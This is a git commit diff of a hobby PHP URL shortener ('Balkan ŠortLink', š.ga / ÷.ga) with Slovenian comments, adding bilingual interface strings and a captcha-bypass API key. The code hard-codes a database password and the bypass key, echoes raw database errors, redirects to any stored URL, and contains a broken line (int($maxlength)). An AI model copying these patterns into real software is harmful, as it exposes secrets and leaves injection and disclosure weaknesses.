diff options
author | Anton Šijanec <sijanecantonluka@gmail.com> | 2019-09-18 00:23:31 +0200 |
---|---|---|
committer | GitHub <noreply@github.com> | 2019-09-18 00:23:31 +0200 |
commit | fb7b3ef8722233365fe2bc39c42345ee98bb829b (patch) | |
tree | 6bb3ee755764626a6ac1203e6cb9bcae1ae7276d | |
parent | updated nginx-server.conf (diff) | |
download | balkan-shortlink-fb7b3ef8722233365fe2bc39c42345ee98bb829b.tar balkan-shortlink-fb7b3ef8722233365fe2bc39c42345ee98bb829b.tar.gz balkan-shortlink-fb7b3ef8722233365fe2bc39c42345ee98bb829b.tar.bz2 balkan-shortlink-fb7b3ef8722233365fe2bc39c42345ee98bb829b.tar.lz balkan-shortlink-fb7b3ef8722233365fe2bc39c42345ee98bb829b.tar.xz balkan-shortlink-fb7b3ef8722233365fe2bc39c42345ee98bb829b.tar.zst balkan-shortlink-fb7b3ef8722233365fe2bc39c42345ee98bb829b.zip |
-rw-r--r-- | index.php | 464 |
1 files changed, 316 insertions, 148 deletions
@@ -1,67 +1,255 @@ <?php -// OPOZORILA: PROGRAM MORA BITI NUJNO POD IMENOM index.php IN POGANJATI SE MORA POD Apache 2, ki podpria RewriteEngine, Imeti moraš SQL uporabnika in bazo, -// .htaccess mora delati, potrebno je imeti dovoljenja za pisanje v mapo. .htaccess ob prvem zagonu ne sme -// obstajati, naredi se sam. NUJNO MORATE SKOPIRATI MAPO securimage iz phpcaptcha.org/download/ zraven index.php, drugače captcha ne bo delala. +// OPOZORILA: PROGRAM MORA BITI NUJNO POD IMENOM index.php IN POGANJATI SE MORA POD Apache 2, ki podpria RewriteEngine, +// ali pa, še bolše, s HTTp strežnikom nginx (ker je boljši). Če uporabite Apache, uporabite .htacess datoteko, za nginx pa uporabite priložen nginx conf fajl. +// Imeti moraš SQL uporabnika in bazo, // (C) 2019 Anton Šijanec. +// inštalacija potrebuje composer. inštalirajte required dependence (dapphp/securimage) // Uporaba dovoljena za učenje in za nekomercijalne namene, brez zaslužkov in z navedbo avtorja. Hvala! // exit("Balkan ŠortLink je v pripravi. Pripravljen bo čez okoli 2 dni. Anton Šijanec, Projekt začet 20. januarja, predviden čas začetka obratovanja storitve -// je 23. januar 2019. Program bo odprtokoden in dostopen na mojem GitHubu, AstiriL!"); +// je 23. januar 2019. Program bo odprtokoden in dostopen na mojem GitHub.com/sijanec/balkan-shortlink!"); session_start(); clearstatcache(); -// ini_set('display_errors', 'On'); // debug -// error_reporting(E_ALL); // debug +// ini_set('display_errors', 'On'); //debug +// error_reporting(E_ALL); //debug $nadaljuj = "ja"; -include_once $_SERVER['DOCUMENT_ROOT'] . '/securimage/securimage.php'; +require_once $_SERVER['DOCUMENT_ROOT'] . '/vendor/autoload.php'; $securimage = new Securimage(); -$verzija = "0.0.19.01.21"; +$verzija = "0.1.19.09.18"; $log .= "Verzija: " . $verzija . "\n"; // definicije - uporabniškega vnosa ne preverjam, zato si ne naredite sql vrivanja (angl. sql injection) ali vrinjanja skript (ni htmlchars sanitizacije). // drugače pa je program dokaj varen prej vrivanjem... upajmo... vsi ostali uporabniški vnosi so sanitizirani. -$servername = "lol.u.though.i.will.show.a4l.space"; // domena, IP naslov oziroma ime gostitelja za dostop do MySQL ali ekvivalentne SQL podatkovne baze (strežnika) -$username = "nofreesqlforyou"; // uporabniško ime za dostop do strežnika SQL -$password = "donttrytoconnect"; // geslo za dostop do strežnika SQL -$baza = "itdoesntwork"; // podatkovna baza SQL v katero naj pišem - naredi jo pred zagonom programa -$tabela = "srslyitdoesnt"; // tabela, ki naj jo naredim v podatkovni bazi SQL oziroma tabela v podatkovni bazi SQL, ki naj jo uporabljam -$rxshort = "/^[0-9a-z]{1,6}$/"; // angleško regular expression, ki naj ga uporabim za kratek niz - nujno popravi še besedilne opise. Pusti ga takega, kot je! -$domena = "š.ga"; // tvoja domena +$servername = "127.0.0.1"; // domena, IP naslov oziroma ime gostitelja za dostop do MySQL ali ekvivalentne SQL podatkovne baze (strežnika) +$username = "shortlink"; // uporabniško ime za dostop do strežnika SQL +$password = "pesvort"; // geslo za dostop do strežnika SQL +$baza = "shortlink"; // podatkovna baza SQL v katero naj pišem - naredi jo pred zagonom programa +$tabela = "links"; // tabela, ki naj jo naredim v podatkovni bazi SQL oziroma tabela v podatkovni bazi SQL, ki naj jo uporabljam +$maxlenght = 9; +$rxshort = "/^[0-9a-z]{1,".$maxlenght."}$/"; // angleško regular expression, ki naj ga uporabim za kratek niz - nujno popravi še besedilne opise. Pusti ga takega, kot je! +$domena = $_SERVER['HTTP_HOST']; // tvoja domena +switch($domena){ + case "xn--pga.ga": + $domena = "š.ga"; + break; + case "xn--oda.ga": + $domena = "÷.ga"; + break; + case "xn--e1a.ga": + $domena = "е.ga"; + break; +} $captcha = "ja"; // ja/ne: ali naj uporabljam captcho? potrebujete phpcaptcha.org, mapo securimage skopirajte zraven index.php (tega programa). +$kljuc = "antoniolukas"; // api kljuc, da bi treba captche +if($_SERVER['HTTP_HOST'] == "xn--pga.ga") { + $securimage_folder_missing = "securimage mapa z datotekami za captcho ne obstaja. Naložite jo iz phpcaptcha.org/download in jo postavite zraven index.php, ali pa spremenite + nastavitev captcha v konfiguracijah (definicije) iz ja na ne (ne priporočam).\n"; + $dbconn_error = "<pre>Povezava v podatkovno bazo ni uspela. <!-- Razhroščevanje: "; + $dbconn_success = "Povezava v podatkovno bazo uspešna.\n"; + $dbuse_success = "Izbira podatkovne baze uspešna.\n"; + $dbuse_error = "Podatkovne baze ni bilo mogoče izbrati. <!-- Razhroščevanje: "; + $tableexists = "Tabela v podatkovni bazi obstaja. Program je že bil v uporabi.\n"; + $tablenotexists = "Tabela v podatkovni bazi ne obstaja. Program je bil zagnan prvič. Poskusil jo bom narediti.\n"; + $dbtablecreate_success = "Tabela v podatkovni bazi je bila uspešno narejena.\n"; + $dbtablecreate_error = "<pre>Napaka v izdelavi tabele v podatkovni bazi! <!-- razhroščevanje: "; + $shortlink_notexists = "Kratek URL še ne obstaja v podatkovni bazi.\n"; + $shortlink_notexists_ui = "<div class=alert> + <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> +<b>Napaka!</b> Kratek URL še ne obstaja v podatkovni bazi. +</div><br>"; + $form_sent = "Obrazec je bil izpolnjen, začenjam preverjanje vnosa."; + $captcha_error = "Preverjanje človeštva (CAPTCHA) je negativno. Mogoče niste človek, zato ne bom nadaljeval."; + $captcha_error_ui = "<div class=alert> + <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> +<b>Napaka preverjanja!</b> Preverjanje CAPTCHA je pokazalo negativni rezultat. Mogoče niste človek, zato ne bom nadaljeval. +</div><br>"; + $shortlinkregex_success = "Preverjanje krajšalnega niza je pozitivno. Krajševalni niz se lahko uporabi.\n"; + $captcha_success = "Preverjanje človeštva (CAPTCHA) je pozitivno. Človek ste."; + $shortlinkregex_error = "Krajšalni niz se ne ujema z regexom " . $rxshort . ", zato ne bom nadaljeval.\n"; + $shortlinkregex_error_ui = "<div class=alert> + <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> +<b>Napaka vnosa!</b> Krajševalni niz se ne ujema z njegovimi pravili. Mora biti 1 do ".$maxlenght." znakov dolg in lahko vsebuje male črke in številke. +</div><br>"; + $longurlregex_success = "Preverjanje dolgega URL-ja je pozitivno. Dolg URL se lahko uporabi.\n"; + $longurlregex_error = "Preverjanje dolgega URL-ja je negativno, zato ne bom nadeljeval.\n"; + $longurlregex_error_ui = "<div class=alert> + <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> +<b>Napaka vnosa!</b> Dolg URL se ne ujema z standardi. Poskusite ponovno. Posebni znaki v URL-ju (kot na primer š) morajo biti URL kodirani. +</div><br>"; + $longurl_too_long = "Dolg URL je predolg. Mora biti krajši od 767 bajtov, drugače lahko pride do napak v podatkovni bazi.\n"; + $longurl_too_long_ui = "<div class=alert> + <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> +<b>Napaka vnosa!</b> URL je predolg. Mora biti krajši od 767 bajtov. +</div><br>"; + $longurl_not_too_long = "Dolg URL ni predolg. To je v redu.\n"; + $shortlink_free_error_ui = "<div class=alert> + <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> +<b>Napaka!</b> Krajšalni tekst že obstaja v podatkovni bazi. Izberite drugega. +</div><br>"; + $shortlink_free_error = "Krajševalni tekst že obstaja v podatkovni bazi, zato ne morem nadaljevati.\n"; + $shortlink_free = "Krajševalni tekst še ne obstaja v podatkovni bazi. To je v redu.\n"; + $longurl_free_error_ui = "<div class=alert> + <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> +<b>Napaka!</b> Dolg URL že obstaja v podatkovni bazi. Nanj kaže <b>"; + $longurl_free_error = "Dolg URL že obstaja v podatkovni bazi, zato ne morem nadaljevati.\n"; + $longurl_free_success = "Dolg URL še ne obstaja v podatkovni bazi. To je v redu.\n"; + $url_was_not_shortened_error = "URL ni bil okrajšan. Glej napake zgoraj!"; + $unknown_database_error_ui = "<div class=alert> + <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> +<b>Sistemska napaka!</b> Neznana napaka podatkovne baze. +</div><br>"; + $unknown_database_error = "Neznana napaka podatkovne baze. Glej sistemske dnevnike.\n"; + $shortlink_success_ui = "<div class=alertok> + <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> +<b>Uspešno!</b> Šortlink <b>".$domena."/".htmlspecialchars($_REQUEST['short'])."</b> je bil uspešno narejen! +</div><br>"; + $shortlink_success = "Šortlink ".$domena."/".htmlspecialchars($_REQUEST['short'])." je bil uspešno narejen!\n"; + $form_not_sent = "Obrazec ni bil izpolnjen, zato samo prikazujem stran.\n"; + $title = "ŠortLink Balkan š.ga"; + $subtitle = "<h2 align=center>Ste kdaj hoteli narediti iz dolgega linka ŠortLink tako, da bi izgledal bolj balkansko?</h2> +<h2 align=center>Tudi če niste, je tukaj ŠortLink Balkan, edini Link Šortener, namenjen predvsem slovanskim narodom, saj za njegovo uporabo potrebujete črko Š!</h2> +<h3 align=center>Vsi Šortani linki se bodo začeli z š.ga, na primer š.ga/tekst. Najs ane?</h3> +<h4 align=center>Šortlinker deluje v kooperaciji z ÷.ga šortlinkerjem (internacionalizirana verzija tega). Vsi šortani linki, +izdelani na ÷.ga bodo delovali tudi na š.ga in obratno. Za angleško različico odprite <a href=https://÷.ga/>÷.ga</a>.</h4>"; + $longurl_placeholder = "Vpiši dolg URL"; + $shortexpression_placeholder = "Vpiši krajšalnico"; + $captcha_placeholder = "Prepiši znake"; + $submit_value = "Skrajšaj"; + $insecure_warning = "OPOZORILO: Povezan si preko nešifrirane povezave."; + $secure_connection = "Varna povezava je vzpostavljena."; + $cookie_warning = "ŠortLink Balkan za svoje delovanje potrebuje in uporablja sejne piškotke. Z uporabo storitve se strinajte z shranjevanjem piškotkov +v vaš brskalnik za največ 24 minut. Piškotek se uporablja samo za interni namen, torej za to, da izvemo katere črke si imel na preverjanju za ljudi (CAPTCHA) +in nikakor ne za namene vohunjenja (tracking cookies). Piškotki so vidni samo na domeni š.ga, torej samo našemu strežniku. To sporočilo smo vam po veljavnem EU +zakonu morali pokazati, ker sta Hrvaška in Slovenija v Evropski Uniji in morata zato upoštevati te <!--glupe --> zakone."; +} else { + $securimage_folder_missing = "securimage folder missing"; + $dbconn_error = "<pre>Connection to the database was not successful. <!-- Debug: "; + $dbconn_success = "Connection to the database was successful.\n"; + $dbuse_success = "Database picked successfully.\n"; + $dbuse_error = "Unable to pick database. <!-- Debug: "; + $tableexists = "Table in database already exists. Program was already ran.\n"; + $tablenotexists = "Table in database does not exist yet. Program is now being ran for the first time. Trying to create table.\n"; + $dbtablecreate_success = "Table in database was successfully created.\n"; + $dbtablecreate_error = "<pre>Error while creating database table! <!-- debug: "; + $shortlink_notexists = "Shortlink is not present in the database yet.\n"; + $shortlink_notexists_ui = "<div class=alert> + <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> +<b>Error!</b> Shortlink has not been created yet. +</div><br>"; + $form_sent = "Form received, starting sanitization."; + $captcha_error = "Anti Robot test (CAPTCHA) was not submitted correctly. Not continuing, maybe the client is a script."; + $captcha_error_ui = "<div class=alert> + <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> +<b>Input error!</b> Human test CAPTCHA reported a negative. Maybe you are not human, so I will not continue. Please, try again. +</div><br>"; + $shortlinkregex_success = "Shortlink is in the correct form. We can pass on.\n"; + $captcha_success = "Captcha was successfully submitted. You are a human."; + $shortlinkregex_error = "Shortlink does not compile with regex " . $rxshort . ", so I will not continue.\n"; + $shortlinkregex_error_ui = "<div class=alert> + <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> +<b>Input error!</b> Shortlink does not compile with the rules. It must be one to ".$maxlenght." characters long and can only +contain lowercase letters and numbers. +</div><br>"; + $longurlregex_success = "Long URL regex check positive. Long URL can be used.\n"; + $longurlregex_error = "Long URL regex check negative, so I will not continue.\n"; + $longurlregex_error_ui = "<div class=alert> + <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> +<b>Input error!</b> Long URL does not compile with the rules. Try again. Special characters (such as š) have to be URL encoded. +</div><br>"; + $longurl_too_long = "Long URL is too long. It has to be shorter than 767 bytes, otherwise it can come to database errors.\n"; + $longurl_too_long_ui = "<div class=alert> + <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> +<b>Input error!</b> URL is too long. It has to be shorter than 767 bytes. +</div><br>"; + $longurl_not_too_long = "Dolg URL ni predolg. To je v redu.\n"; + $shortlink_free_error_ui = "<div class=alert> + <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> +<b>Error!</b> Shortlink already exists in our database. Pick something else. +</div><br>"; + $shortlink_free_error = "Shortlink already exists, so I can't continue.\n"; + $shortlink_free = "Shortlink does not exist in the database yet, so we can continue. That is ok.\n"; + $longurl_free_error_ui = "<div class=alert> + <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> +<b>Error!</b> Long URL is already present in database. This shortlink points to it: <b>"; + $longurl_free_error = "Long URL is already present in the database, so I can't continue.\n"; + $longurl_free_success = "Long URL is not yet present in our database. That is ok, I will continue.\n"; + $url_was_not_shortened_error = "URL was not shortened. See errors above!"; + $unknown_database_error_ui = "<div class=alert> + <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> +<b>System error!</b> Unknown database error. +</div><br>"; + $unknown_database_error = "Unknown database error, see system logs.\n"; + $shortlink_success_ui = "<div class=alertok> + <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> +<b>Success!</b> Shortlink <b>".$domena."/".htmlspecialchars($_REQUEST['short'])."</b> was successfully created! +</div><br>"; + $shortlink_success = "Shortlink ".$domena."/".htmlspecialchars($_REQUEST['short'])." was successfully created!\n"; + $form_not_sent = "Form was not sent, that is why I am just displaying the webpage.\n"; + $title = "Division character shortlinker ÷.ga"; + $subtitle = "<h2 align=center>Ever wanted a unique and cool shortlink?</h2> +<h2 align=center>Even if you didn't, this shortlink servive is truly awesome. It uses a one letter domain ÷.ga which is +accessible via a simple shortcut on all keyboard layouts.</h2> +<h3 align=center>All shorted links will start with ÷.ga/, for example ÷.ga/text. Nice, huh?</h3> +<h4 align=center>This service is cooperating with š.ga, balkan shortlinker that uses slavic letter š (š.ga). All links created there +will work here as well and vice versa. Visit <a href=https://š.ga/>š.ga</a> for slovenian version.</h4> +<h5 align=center>Note: we have noticed that some browsers show ÷ as xn--oda. This should not cause any problems. +Typing ÷.ga/link will nonetheless still work as a regular shortlink.</h5> +"; + $longurl_placeholder = "Enter long URL"; + $shortexpression_placeholder = "Enter short suffix (expression)"; + $captcha_placeholder = "Retype characters from Captcha"; + $submit_value = "Shorten"; + $insecure_warning = "WARNING: You are connected via plaintext connection."; + $secure_connection = "Secure connection is established."; + $cookie_warning = "We use cookies. Not for evil purposes, just for storing your session information for about 24 minutes. And + we do respect your privacy. In fact they are only used to preserve information about captcha code generated in one request and + resubmitted in another. Captcha code (six letter jumble) does not contain any sensible information, trust me (-;"; +} -// samoinštalacija - .htaccess ne sme obstajati ob prvem zagonu +// samoinštalacija - .htaccess ne sme obstajati ob prvem zagonu (sicer se uporabi le v apache okolju) +/* if(!file_exists(".htaccess")) { - $htaccess = " + $htaccess = " RewriteEngine on RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ /index.php?r=$1 [NC,L,QSA] - "; - if(file_put_contents(".htaccess", $htaccess)) { - exit("Program je bil verjetno zagnan prvič. Izdelava .htaccess je uspela.\n"); - } else { - $log .= "Program je bil zagnan verjetno prvič. Izdelava .htaccess ni uspela. Popravi dovoljenja mape.\n"; - } + "; + if(file_put_contents(".htaccess", $htaccess)) { + exit("Program je bil verjetno zagnan prvič. Izdelava .htaccess je uspela.\n"); + } else { + $log .= "Program je bil zagnan verjetno prvič. Izdelava .htaccess ni uspela. Popravi dovoljenja mape.\n"; + } +} + +if($_REQUEST['k'] == $kljuc) { + $_SESSION['k'] = $_REQUEST['k']; } -if($captcha !== "ne") { -if(!file_exists("securimage")) { - exit("securimage mapa z datotekami za captcho ne obstaja. Naložite jo iz phpcaptcha.org/download in jo postavite zraven index.php, ali pa spremenite - nastavitev captcha v konfiguracijah (definicije) iz ja na ne (ne priporočam).\n"); +*/ + +/* +if($captcha !== "ne" && 1==0) { +/* +if(!file_exists("/securimage")) { + exit($securimage_folder_missing); } else { - // okejjjjj + // okejjjjj } +*/ // ne delamo več tko, zdej je composer } +*/ // sql povezava in izbira podatkovne baze $conn = mysqli_connect($servername, $username, $password, $baza); // naredi povezavo if (!$conn) { // preveri povezavo - die("<pre>Povezava v podatkovno bazo ni uspela. <!-- Razhroščevanje: " . mysqli_connect_error() . "-->\n</pre>"); -} -$log .= "Povezava v podatkovno bazo uspešna.\n"; + die($dbconn_error . mysqli_connect_error() . "-->\n</pre>"); +} +$log .= $dbconn_success; if(mysqli_select_db($conn,$baza)) { - $log .= "Izbira podatkovne baze uspešna.\n"; + $log .= $dbuse_success; } else { - die("Podatkovne baze ni bilo mogoče izbrati. <!-- Razhroščevanje: " . mysqli_error($conn) . "-->\n"); + die($dbuse_error . mysqli_error($conn) . "-->\n"); } @@ -71,44 +259,43 @@ if(mysqli_select_db($conn,$baza)) { //poglej če tabela links obstaja $alitabelaobstaja = mysqli_query($conn, 'SELECT 1 from `'.$tabela.'`'); if($alitabelaobstaja !== FALSE) { - $log .= "Tabela v podatkovni bazi obstaja. Program je že bil v uporabi.\n"; + $log .= $tableexists; } else { // ne - naredi jo! - $log .= "Tabela v podatkovni bazi ne obstaja. Program je bil zagnan prvič. Poskusil jo bom narediti.\n"; + $log .= $tablenotexists; $sql = "CREATE TABLE IF NOT EXISTS `".$tabela."` ( - `short` varchar(10) COLLATE utf8_unicode_ci NOT NULL, + `short` varchar(".int($maxlength) + 1.") COLLATE utf8_unicode_ci NOT NULL, `long` text(767) COLLATE utf8_unicode_ci NOT NULL, PRIMARY KEY (`short`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci"; if (mysqli_query($conn, $sql)) { - $log .= "Tabela v podatkovni bazi je bila uspešno narejena.\n"; + $log .= $dbtablecreate_success; } else { - die("<pre>Napaka v izdelavi tabele v podatkovni bazi! <!-- razhroščevanje: " . mysqli_error($conn) . "-->\n</pre>"); + die($dbtablecreate_error . mysqli_error($conn) . "-->\n</pre>"); } } -//če je potrebna preusmeritev (glej .htaccess, pa ti bo jasno) +//če je potrebna preusmeritev if(!empty($_REQUEST['r'])) { - // preveri, če dolg niz že obstaja + // preveri, če dolg niz že obstaja + $safer = mysqli_real_escape_string($conn, $_REQUEST['r']); -// echo $safer; //debug +// joj kaj je to sranje +// echo $safer; //debug-ne, ker xss $query = "SELECT `long` from `".$tabela."` where `short`='".$safer."';"; $result = mysqli_query($conn, $query); echo mysqli_error($conn); //debug if(mysqli_num_rows($result) > 0) { - // echo array_pop(mysqli_fetch_row($result); //debug //to je to! - $dolgkiobstaja = array_pop(mysqli_fetch_row($result)); //to je to! - // ŠortLink obstaja, preusmerjam! - header("Location: ".$dolgkiobstaja); + // echo array_pop(mysqli_fetch_row($result); //debug //to je to! + $dolgkiobstaja = array_pop(mysqli_fetch_row($result)); //to je to! + // ŠortLink obstaja, preusmerjam! + header("Location: ".$dolgkiobstaja); } else { - $log .= "Kratek URL še ne obstaja v podatkovni bazi.\n"; - $alert .= "<div class=alert> - <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> -<b>Napaka!</b> Kratek URL še ne obstaja v podatkovni bazi. -</div><br>"; + $log .= $shortlink_notexists; + $alert .= $shortlink_notexists_ui; } } @@ -116,59 +303,46 @@ if(mysqli_num_rows($result) > 0) { // če je zahteva za vpis, vpiši! if(!empty($_REQUEST['submit'])) { - $log .= "Obrazec je bil izpolnjen, začenjam preverjanje vnosa."; - - - -if($captcha !== "ne") { - if ($securimage->check($_POST['captcha_code']) == false) { - $log .= "Preverjanje človeštva (CAPTCHA) je negativno. Mogoče niste človek, zato ne bom nadaljeval."; - $alert .= "<div class=alert> - <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> -<b>Napaka preverjanja!</b> Preverjanje CAPTCHA je pokazalo negativni rezultat. Mogoče niste človek, zato ne bom nadaljeval. -</div><br>"; + $log .= $form_sent; + + +if($captcha !== "ne" && $_REQUEST['k'] !== $kljuc && $_SESSION['k'] !== $kljuc) { + if ($securimage->check($_POST['captcha_code']) == false) { + $log .= $captcha_error; + $alert .= $captcha_error_ui; $nadaljuj = "ne"; } else { - $log .= "Preverjanje človeštva (CAPTCHA) je pozitivno. Človek ste."; + $log .= $captcha_success; } } // regex match kratkega niza if(preg_match($rxshort, $_REQUEST['short'])) { - $log .= "Preverjanje krajšalnega niza je pozitivno. Krajševalni niz se lahko uporabi.\n"; + $log .= $shortlinkregex_success; } else { - $log .= "Krajšalni niz se ne ujema z regexom " . $rxshort . ", zato ne bom nadaljeval. \n"; - $nadaljuj = "ne"; - $alert .= "<div class=alert> - <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> -<b>Napaka vnosa!</b> Krajševalni niz se ne ujema z njegovimi pravili. Mora biti 1 do 6 znakov dolg in lahko vsebuje male črke in številke. -</div><br>"; + $log .= $shortlinkregex_error; + $nadaljuj = "ne"; + $alert .= $shortlinkregex_error_ui; } // preverjanje, ce je res URL if(filter_var($_REQUEST['long'], FILTER_VALIDATE_URL)) { - $log .= "Preverjanje dolgega URL-ja je pozitivno. Dolg URL se lahko uporabi.\n"; + $log .= $longurlregex_success; } else { - $log .= "Preverjanje dolgega URL-ja je negativno, zato ne bom nadeljeval.\n"; - $nadaljuj = "ne"; - $alert .= "<div class=alert> - <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> -<b>Napaka vnosa!</b> Dolg URL se ne ujema z standardi. Poskusite ponovno. Posebni znaki v URL-ju (kot na primer š) morajo biti URL kodirani. -</div><br>"; + $log .= $longurlregex_error; + $nadaljuj = "ne"; + $alert .= $longurlregex_error_ui; } // preprecevanje sql prekoračitve if(strlen($_REQUEST['long']) > 767) { //strlen pove bajte, mb_strlen pove dolžino niza - $log .= "Dolg URL je predolg. Mora biti krajši od 767 bajtov, drugače lahko pride do napak v podatkovni bazi.\n"; - $nadaljuj = "ne"; - $alert .= "<div class=alert> - <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> -<b>Napaka vnosa!</b> URL je predolg. Mora biti krajši od 767 bajtov. -</div><br>"; //drugače lahko pride do napak v SQL bazi podatkov + $log .= $longurl_too_long; + $nadaljuj = "ne"; + $alert .= $longurl_too_long_ui; //drugače lahko pride do napak v SQL bazi podatkov } else { - $log .= "Dolg URL ni predolg. To je v redu.\n"; + $log .= $longurl_not_too_long; } if($nadaljuj == "ja") { //nadaljuj z sql stvarmi, samo, če so zgornji pogoji zadostni @@ -178,14 +352,11 @@ $safeshort = mysqli_real_escape_string($conn, $_REQUEST['short']); $query = "SELECT * from `".$tabela."` where `short`='".$safeshort."';"; $result = mysqli_query($conn, $query); if(mysqli_num_rows($result) > 0) { - $alert .= "<div class=alert> - <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> -<b>Napaka!</b> Krajšalni tekst že obstaja v podatkovni bazi. Izberite drugega. -</div><br>"; - $log .= "Krajševalni tekst že obstaja v podatkovni bazi, zato ne morem nadaljevati.\n"; - $nadaljuj = "ne"; + $alert .= $shortlink_free_error_ui; + $log .= $shortlink_free_error; + $nadaljuj = "ne"; } else { - $log .= "Krajševalni tekst še ne obstaja v podatkovni bazi. To je v redu.\n"; + $log .= $shortlink_free; } // preveri, če dolg niz že obstaja @@ -193,19 +364,17 @@ $safelong = mysqli_real_escape_string($conn, $_REQUEST['long']); $query = "SELECT `short` from `".$tabela."` where `long`='".$safelong."';"; $result = mysqli_query($conn, $query); if(mysqli_num_rows($result) > 0) { - // echo array_pop(mysqli_fetch_row($result); //debug //to je to! - $kratekkiobstaja = array_pop(mysqli_fetch_row($result)); //to je to! - $alert .= "<div class=alert> - <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> -<b>Napaka!</b> Dolg URL že obstaja v podatkovni bazi. Nanj kaže <b>".$domena."/".htmlspecialchars($kratekkiobstaja)."</b> + // echo array_pop(mysqli_fetch_row($result); //debug //to je to! + $kratekkiobstaja = array_pop(mysqli_fetch_row($result)); //to je to! + $alert .= $longurl_free_error_ui.$domena."/".htmlspecialchars($kratekkiobstaja)."</b> </div><br>"; - $log .= "Dolg URL že obstaja v podatkovni bazi, zato ne morem nadaljevati.\n"; - $nadaljuj = "ne"; + $log .= $longurl_free_error; + $nadaljuj = "ne"; } else { - $log .= "Dolg URL še ne obstaja v podatkovni bazi. To je v redu.\n"; + $log .= $longurl_free_success; } - /* + /* //idk ne dela -- v redu, vem zakaj: podpičje manjka! jaoooo in še `'" jaooooo sql nima ", ' je za nize, ` je za stolpce, tabele,... $prepared = mysqli_prepare($conn, "SELECT * FROM ".$tabela." WHERE short=?"); // var_dump(mysqli_error($conn)); //debug @@ -220,14 +389,14 @@ echo $fetched; //debug $result = mysqli_query($conn, $prepared); echo mysqli_error($conn); //debug if(mysqli_num_rows($result) == 0) { - $log .= "Krajševalni tekst še ne obstaja v podatkovni bazi. To je v redu.\n"; + $log .= "Krajševalni tekst še ne obstaja v podatkovni bazi. To je v redu.\n"; } else { - $alert .= "<div class=alert> - <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> + $alert .= "<div class=alert> + <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> <b>Napaka!</b> Krajšalni tekst že obstaja v podatkovni bazi. Izberite drugega. </div><br>"; - $log .= "Krajševalni tekst že obstaja v podatkovni bazi, zato ne morem nadaljevati.\n"; - $nadaljuj = "ne"; + $log .= "Krajševalni tekst že obstaja v podatkovni bazi, zato ne morem nadaljevati.\n"; + $nadaljuj = "ne"; } //preverjanje, če krajševalni niz že obstaja @@ -236,14 +405,14 @@ $prepared = mysqli_prepare($conn, "SELECT * FROM ".$tabela." WHERE long=?"); mysqli_stmt_bind_param($prepared, "s", $_REQUEST['long']); $result = mysqli_query($conn); if(mysqli_num_rows($result) == 0) { - $log .= "Dolg URL še ne obstaja v podatkovni bazi. To je v redu.\n"; + $log .= "Dolg URL še ne obstaja v podatkovni bazi. To je v redu.\n"; } else { - $alert .= "<div class=alert> - <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> + $alert .= "<div class=alert> + <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> <b>Napaka!</b> Dolg URL že obstaja v podatkovni bazi. Nanj vodi <b>".$domena."/".htmlspecialchars($result)."</b>. </div><br>"; - $log .= "Dolg URL že obstaja v podatkovni bazi, zato ne morem nadaljevati. Nanj vodi ".$domena."/".htmlspecialchars($result).".\n"; - $nadaljuj = "ne"; + $log .= "Dolg URL že obstaja v podatkovni bazi, zato ne morem nadaljevati. Nanj vodi ".$domena."/".htmlspecialchars($result).".\n"; + $nadaljuj = "ne"; } */ } @@ -252,48 +421,40 @@ if(mysqli_num_rows($result) == 0) { if($nadaljuj !== "ja") { - $log .= "URL ni bil okrajšan. Glej napake zgoraj!"; + $log .= $url_was_not_shortened_error; } else { $query = "INSERT INTO `".$tabela."` (`short`, `long`) VALUES ('".$safeshort."','".$safelong."');"; $result = mysqli_query($conn, $query); // var_dump(mysqli_error($conn)); //debug - //preveri uspeh + //preveri uspeh $query = "SELECT * FROM `".$tabela."` WHERE `short`='".$safeshort."';"; $result = mysqli_query($conn, $query); if(mysqli_num_rows($result) == 0) { - // var_dump(mysqli_error($conn)); //debug - $alert .= "<div class=alert> - <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> -<b>Sistemska napaka!</b> Neznana napaka podatkovne baze. -</div><br>"; - $log .= "Neznana napaka podatkovne baze. Glej sistemske dnevnike.\n"; + // var_dump(mysqli_error($conn)); //debug + $alert .= $unknown_database_error_ui; + $log .= $unknown_database_error; } else { - $alert .= "<div class=alertok> - <span class=closebtn onclick=this.parentElement.style.display='none';>×</span> -<b>Uspešno!</b> Šortlink <b>".$domena."/".htmlspecialchars($_REQUEST['short'])."</b> je bil uspešno narejen! -</div><br>"; - $log .= "Šortlink ".$domena."/".htmlspecialchars($_REQUEST['short'])." je bil uspešno narejen!\n"; - + $alert .= $shortlink_success_ui; + $log .= $shortlink_success; + } - - - } + } -} else { - $log .= "Obrazec ni bil izpolnjen, zato samo prikazujem stran.\n"; - 